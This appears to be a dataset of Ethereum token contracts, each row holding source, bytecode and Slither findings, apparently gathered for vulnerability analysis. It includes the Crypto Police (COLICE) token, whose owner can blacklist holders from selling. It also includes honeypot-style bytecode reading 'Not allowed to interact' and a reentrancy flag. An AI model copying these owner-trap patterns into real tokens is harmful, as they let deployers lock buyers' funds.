60405180910390fd5b505050900390565b6001600160a01b038316611ac45760405162461bcd60e51b81526004018080602001828103825260258152602001806122cc6025913960400191505060405180910390fd5b6001600160a01b038216611b095760405162461bcd60e51b81526004018080602001828103825260238152602001806121f96023913960400191505060405180910390fd5b611b148383836121f3565b611b518160405180606001604052806026815260200161223e602691396001600160a01b03861660009081526020819052604090205491906119e8565b6001600160a01b038085166000908152602081905260408082209390935590841681522054611b809082611612565b6001600160a01b03808416600090815260208190526040902091909155600d5484821691161415611bba57600c546001600160a01b031692505b816001600160a01b0316836001600160a01b03166000805160206122ac833981519152836040518082815260200191505060405180910390a3505050565b600954600d548391839186916000916001600160a01b039081169116148015611c2e5750600d546001600160a01b038381169116145b15611dc457600980546001600160a01b0319166001600160a01b03868116919091179091558716611c905760405162461bcd60e51b81526004018080602001828103825260258152602001806122cc6025913960400191505060405180910390fd5b6001600160a01b038616611cd55760405162461bcd60e51b81526004018080602001828103825260238152602001806121f96023913960400191505060405180910390fd5b611ce08787876121f3565b611d1d8560405180606001604052806026815260200161223e602691396001600160a01b038a1660009081526020819052604090205491906119e8565b6001600160a01b038089166000908152602081905260408082209390935590881681522054611d4c9086611612565b6001600160a01b03808816600090815260208190526040902091909155600d5488821691161415611d8657600c546001600160a01b031696505b856001600160a01b0316876001600160a01b03166000805160206122ac833981519152876040518082815260200191505060405180910390a36119df565b600d546001600160a01b0383811691161480611ded57506009546001600160a01b038381169116145b80611e055750600d546001600160a01b038581169116145b15611e8857600d546001600160a01b038381169116148015611e385750836001600160a01b0316826001600160a01b0316145b15611e4357600a8390555b6001600160a01b038716611c905760405162461bcd60e51b81526004018080602001828103825260258152602001806122cc6025913960400191505060405180910390fd5b6001600160a01b03821660009081526001602081905260409091205460ff1615151415611ef4576001600160a01b038716611c905760405162461bcd60e51b81526004018080602001828103825260258152602001806122cc6025913960400191505060405180910390fd5b6001600160a01b03821660009081526002602052604090205460ff16151560011415611f7e576009546001600160a01b0383811691161480611f435750600b546001600160a01b038581169116145b611e435760405162461bcd60e51b815260040180806020018281038252602681526020018061223e6026913960400191505060405180910390fd5b600a54831015612012576009546001600160a01b0385811691161415611e43576001600160a01b0382811660009081526002602090815260408083208054600160ff1991821681179092559252909120805490911690558716611c905760405162461bcd60e51b81526004018080602001828103825260258152602001806122cc6025913960400191505060405180910390fd5b6009546001600160a01b038381169116148061203b5750600b546001600160a01b038581169116145b6120765760405162461bcd60e51b815260040180806020018281038252602681526020018061223e6026913960400191505060405180910390fd5b6001600160a01b0387166120bb5760405162461bcd60e51b81526004018080602001828103825260258152602001806122cc6025913960400191505060405180910390fd5b6001600160a01b0386166121005760405162461bcd60e51b81526004018080602001828103825260238152602001806121f96023913960400191505060405180910390fd5b61210b8787876121f3565b6121488560405180606001604052806026815260200161223e602691396001600160a01b038a1660009081526020819052604090205491906119e8565b6001600160a01b0380891660009081526020819052604080822093909355908816815220546121779086611612565b6001600160a01b03808816600090815260208190526040902091909155600d54888216911614156121b157600c546001600160a01b031696505b856001600160a01b0316876001600160a01b03166000805160206122ac833981519152876040518082815260200191505060405180910390a350505050505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654e6f7420616c6c6f77656420746f20696e74657261637400000000000000000045524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a264697066735822122025ede17e3656cfad3e398bb1cdd146a057fa6295171ddde6eed725a384e84cee64736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | 1,102 |
0x9f9268e7d6bf94e7895fedf0287ff435f32acba5 | // SPDX-License-Identifier: UNLICENSED
/**
“The Night Is Darkest Right Before The Dawn. And I Promise You, The Dawn Is Coming.”
Everyday on DEX, we have all witnessed numerous skeptical activities including but not limited to scam/ rugpull/ honeypot.
All these activities severely caused the general fears for the public to enter the DeFi world.
As a group of industry professionals with strong belief towards the wide range of possibilities given the development of the decentralized future,
we are dedicated to assisting the community to investigate the tokens / DeFi on the market.
Colice force will dually work in collaboration with various groups of elites who share the similar values and we are all after the scammers.
“A Hero Can Be Anyone, Even Someone Doing Something As Simple And Reassuring As Putting A Coat Around A Little Boy's Shoulders To Let Him Know The World Hadn't Ended.”
Website: https://colice.io
Telegram: https://t.me/colice
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract COLICE is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e11 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint256 private _sellTax;
uint256 private _buyTax;
address payable private _feeAddress;
string private constant _name = "Crypto Police";
string private constant _symbol = "COLICE";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private removeMaxTx = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddress = payable(0x84bFe537AffEEB2a3b0e80a9EAf0C24502A1bDa8);
_buyTax = 11;
_sellTax = 11;
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddress] = true;
emit Transfer(address(0), address(this), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setRemoveMaxTx(bool onoff) external onlyOwner() {
removeMaxTx = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to] ) {
_feeAddr1 = 0;
_feeAddr2 = _buyTax;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _maxTxAmount);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = _sellTax;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
uint burnAmount = contractTokenBalance/4;
contractTokenBalance -= burnAmount;
burnToken(burnAmount);
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function burnToken(uint burnAmount) private lockTheSwap{
if(burnAmount > 0){
_transfer(address(this), address(0xdead),burnAmount);
}
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
if (maxTxAmount > 200000000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddress.transfer(amount);
}
function createPair() external onlyOwner(){
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function openTrading() external onlyOwner() {
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
removeMaxTx = true;
_maxTxAmount = 2000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() public onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() public onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _setSellTax(uint256 sellTax) external onlyOwner() {
if (sellTax < 12) {
_sellTax = sellTax;
}
}
function setBuyTax(uint256 buyTax) external onlyOwner() {
if (buyTax < 12) {
_buyTax = buyTax;
}
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063b515566a1161006f578063b515566a1461034c578063c3c8cd801461036c578063c9567bf914610381578063dbe8272c14610396578063dc1052e2146103b6578063dd62ed3e146103d657600080fd5b8063715018a6146102ab5780638da5cb5b146102c057806395d89b41146102e85780639e78fb4f14610317578063a9059cbb1461032c57600080fd5b8063273123b7116100f2578063273123b71461021a578063313ce5671461023a57806346df33b7146102565780636fc3eaec1461027657806370a082311461028b57600080fd5b806306fdde031461013a578063095ea7b31461018257806318160ddd146101b25780631bbae6e0146101d857806323b872dd146101fa57600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5060408051808201909152600d81526c43727970746f20506f6c69636560981b60208201525b6040516101799190611953565b60405180910390f35b34801561018e57600080fd5b506101a261019d3660046117da565b61041c565b6040519015158152602001610179565b3480156101be57600080fd5b5068056bc75e2d631000005b604051908152602001610179565b3480156101e457600080fd5b506101f86101f336600461190c565b610433565b005b34801561020657600080fd5b506101a2610215366004611799565b61047f565b34801561022657600080fd5b506101f8610235366004611726565b6104e8565b34801561024657600080fd5b5060405160098152602001610179565b34801561026257600080fd5b506101f86102713660046118d2565b610533565b34801561028257600080fd5b506101f861057b565b34801561029757600080fd5b506101ca6102a6366004611726565b6105af565b3480156102b757600080fd5b506101f86105d1565b3480156102cc57600080fd5b506000546040516001600160a01b039091168152602001610179565b3480156102f457600080fd5b50604080518082019091526006815265434f4c49434560d01b602082015261016c565b34801561032357600080fd5b506101f8610645565b34801561033857600080fd5b506101a26103473660046117da565b610884565b34801561035857600080fd5b506101f8610367366004611806565b610891565b34801561037857600080fd5b506101f8610927565b34801561038d57600080fd5b506101f8610967565b3480156103a257600080fd5b506101f86103b136600461190c565b610b2f565b3480156103c257600080fd5b506101f86103d136600461190c565b610b67565b3480156103e257600080fd5b506101ca6103f1366004611760565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000610429338484610b9f565b5060015b92915050565b6000546001600160a01b031633146104665760405162461bcd60e51b815260040161045d906119a8565b60405180910390fd5b6702c68af0bb14000081111561047c5760108190555b50565b600061048c848484610cc3565b6104de84336104d985604051806060016040528060288152602001611b3f602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610ff8565b610b9f565b5060019392505050565b6000546001600160a01b031633146105125760405162461bcd60e51b815260040161045d906119a8565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b0316331461055d5760405162461bcd60e51b815260040161045d906119a8565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146105a55760405162461bcd60e51b815260040161045d906119a8565b4761047c81611032565b6001600160a01b03811660009081526002602052604081205461042d9061106c565b6000546001600160a01b031633146105fb5760405162461bcd60e51b815260040161045d906119a8565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461066f5760405162461bcd60e51b815260040161045d906119a8565b600f54600160a01b900460ff16156106c95760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161045d565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b15801561072957600080fd5b505afa15801561073d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107619190611743565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107a957600080fd5b505afa1580156107bd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107e19190611743565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561082957600080fd5b505af115801561083d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108619190611743565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b6000610429338484610cc3565b6000546001600160a01b031633146108bb5760405162461bcd60e51b815260040161045d906119a8565b60005b8151811015610923576001600660008484815181106108df576108df611aef565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061091b81611abe565b9150506108be565b5050565b6000546001600160a01b031633146109515760405162461bcd60e51b815260040161045d906119a8565b600061095c306105af565b905061047c816110f0565b6000546001600160a01b031633146109915760405162461bcd60e51b815260040161045d906119a8565b600e546109b29030906001600160a01b031668056bc75e2d63100000610b9f565b600e546001600160a01b031663f305d71947306109ce816105af565b6000806109e36000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a4657600080fd5b505af1158015610a5a573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a7f9190611925565b5050600f8054671bc16d674ec8000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610af757600080fd5b505af1158015610b0b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061047c91906118ef565b6000546001600160a01b03163314610b595760405162461bcd60e51b815260040161045d906119a8565b600c81101561047c57600b55565b6000546001600160a01b03163314610b915760405162461bcd60e51b815260040161045d906119a8565b600c81101561047c57600c55565b6001600160a01b038316610c015760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161045d565b6001600160a01b038216610c625760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161045d565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d275760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161045d565b6001600160a01b038216610d895760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161045d565b60008111610deb5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161045d565b6001600160a01b03831660009081526006602052604090205460ff1615610e1157600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610e5357506001600160a01b03821660009081526005602052604090205460ff16155b15610fe8576000600955600c54600a55600f546001600160a01b038481169116148015610e8e5750600e546001600160a01b03838116911614155b8015610eb357506001600160a01b03821660009081526005602052604090205460ff16155b8015610ec85750600f54600160b81b900460ff165b15610ef5576000610ed8836105af565b601054909150610ee88383611279565b1115610ef357600080fd5b505b600f546001600160a01b038381169116148015610f205750600e546001600160a01b03848116911614155b8015610f4557506001600160a01b03831660009081526005602052604090205460ff16155b15610f56576000600955600b54600a555b6000610f61306105af565b600f54909150600160a81b900460ff16158015610f8c5750600f546001600160a01b03858116911614155b8015610fa15750600f54600160b01b900460ff165b15610fe6576000610fb3600483611a66565b9050610fbf8183611aa7565b9150610fca816112d8565b610fd3826110f0565b478015610fe357610fe347611032565b50505b505b610ff383838361130e565b505050565b6000818484111561101c5760405162461bcd60e51b815260040161045d9190611953565b5060006110298486611aa7565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610923573d6000803e3d6000fd5b60006007548211156110d35760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161045d565b60006110dd611319565b90506110e9838261133c565b9392505050565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061113857611138611aef565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561118c57600080fd5b505afa1580156111a0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111c49190611743565b816001815181106111d7576111d7611aef565b6001600160a01b039283166020918202929092010152600e546111fd9130911684610b9f565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906112369085906000908690309042906004016119dd565b600060405180830381600087803b15801561125057600080fd5b505af1158015611264573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b6000806112868385611a4e565b9050838110156110e95760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161045d565b600f805460ff60a81b1916600160a81b17905580156112fe576112fe3061dead83610cc3565b50600f805460ff60a81b19169055565b610ff383838361137e565b6000806000611326611475565b9092509050611335828261133c565b9250505090565b60006110e983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114b7565b600080600080600080611390876114e5565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506113c29087611542565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546113f19086611279565b6001600160a01b03891660009081526002602052604090205561141381611584565b61141d84836115ce565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161146291815260200190565b60405180910390a3505050505050505050565b600754600090819068056bc75e2d63100000611491828261133c565b8210156114ae5750506007549268056bc75e2d6310000092509050565b90939092509050565b600081836114d85760405162461bcd60e51b815260040161045d9190611953565b5060006110298486611a66565b60008060008060008060008060006115028a600954600a546115f2565b9250925092506000611512611319565b905060008060006115258e878787611647565b919e509c509a509598509396509194505050505091939550919395565b60006110e983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ff8565b600061158e611319565b9050600061159c8383611697565b306000908152600260205260409020549091506115b99082611279565b30600090815260026020526040902055505050565b6007546115db9083611542565b6007556008546115eb9082611279565b6008555050565b600080808061160c60646116068989611697565b9061133c565b9050600061161f60646116068a89611697565b90506000611637826116318b86611542565b90611542565b9992985090965090945050505050565b60008080806116568886611697565b905060006116648887611697565b905060006116728888611697565b90506000611684826116318686611542565b939b939a50919850919650505050505050565b6000826116a65750600061042d565b60006116b28385611a88565b9050826116bf8583611a66565b146110e95760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161045d565b803561172181611b1b565b919050565b60006020828403121561173857600080fd5b81356110e981611b1b565b60006020828403121561175557600080fd5b81516110e981611b1b565b6000806040838503121561177357600080fd5b823561177e81611b1b565b9150602083013561178e81611b1b565b809150509250929050565b6000806000606084860312156117ae57600080fd5b83356117b981611b1b565b925060208401356117c981611b1b565b929592945050506040919091013590565b600080604083850312156117ed57600080fd5b82356117f881611b1b565b946020939093013593505050565b6000602080838503121561181957600080fd5b823567ffffffffffffffff8082111561183157600080fd5b818501915085601f83011261184557600080fd5b81358181111561185757611857611b05565b8060051b604051601f19603f8301168101818110858211171561187c5761187c611b05565b604052828152858101935084860182860187018a101561189b57600080fd5b600095505b838610156118c5576118b181611716565b8552600195909501949386019386016118a0565b5098975050505050505050565b6000602082840312156118e457600080fd5b81356110e981611b30565b60006020828403121561190157600080fd5b81516110e981611b30565b60006020828403121561191e57600080fd5b5035919050565b60008060006060848603121561193a57600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b8181101561198057858101830151858201604001528201611964565b81811115611992576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a2d5784516001600160a01b031683529383019391830191600101611a08565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611a6157611a61611ad9565b500190565b600082611a8357634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611aa257611aa2611ad9565b500290565b600082821015611ab957611ab9611ad9565b500390565b6000600019821415611ad257611ad2611ad9565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461047c57600080fd5b801515811461047c57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f59820d79b952d435ef8dc8617ecfbd2cfb9e1d931a466fd0f12fcf32e49a3c264736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 1,103 |
0xf46515b686053b6cf34e110aad1ae97aa437f727 | /**
SouthParkThugs! We will rob you if you sell!
Telegram: https://t.me/SouthParkThugs
Twitter: https://twitter.com/SouthParkThugs
Website: https://SouthParkThugs.com
- 100% Tokens of unburned tokens to Liquidity
- 50% Token Burn
- 0% Buy taxes
- 10% Sell taxes. Dont let the Thugs of SouthPark rob you!
- Launch with 1% of Supply Tx Limit (lifted after 15 minutes)
- Launch with 4% Wallet Cap
As the OG Thugs of SouthPark we wont let anyone snipe on us. Antisniper randomized launch timer.
Stay loyal to the Thugs and Thugs will stay loyal to you. Thugs out!
UNRUGGABLE CONTRACT - Please ask any questions you have.
**/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private m_Owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
m_Owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return m_Owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(m_Owner, address(0));
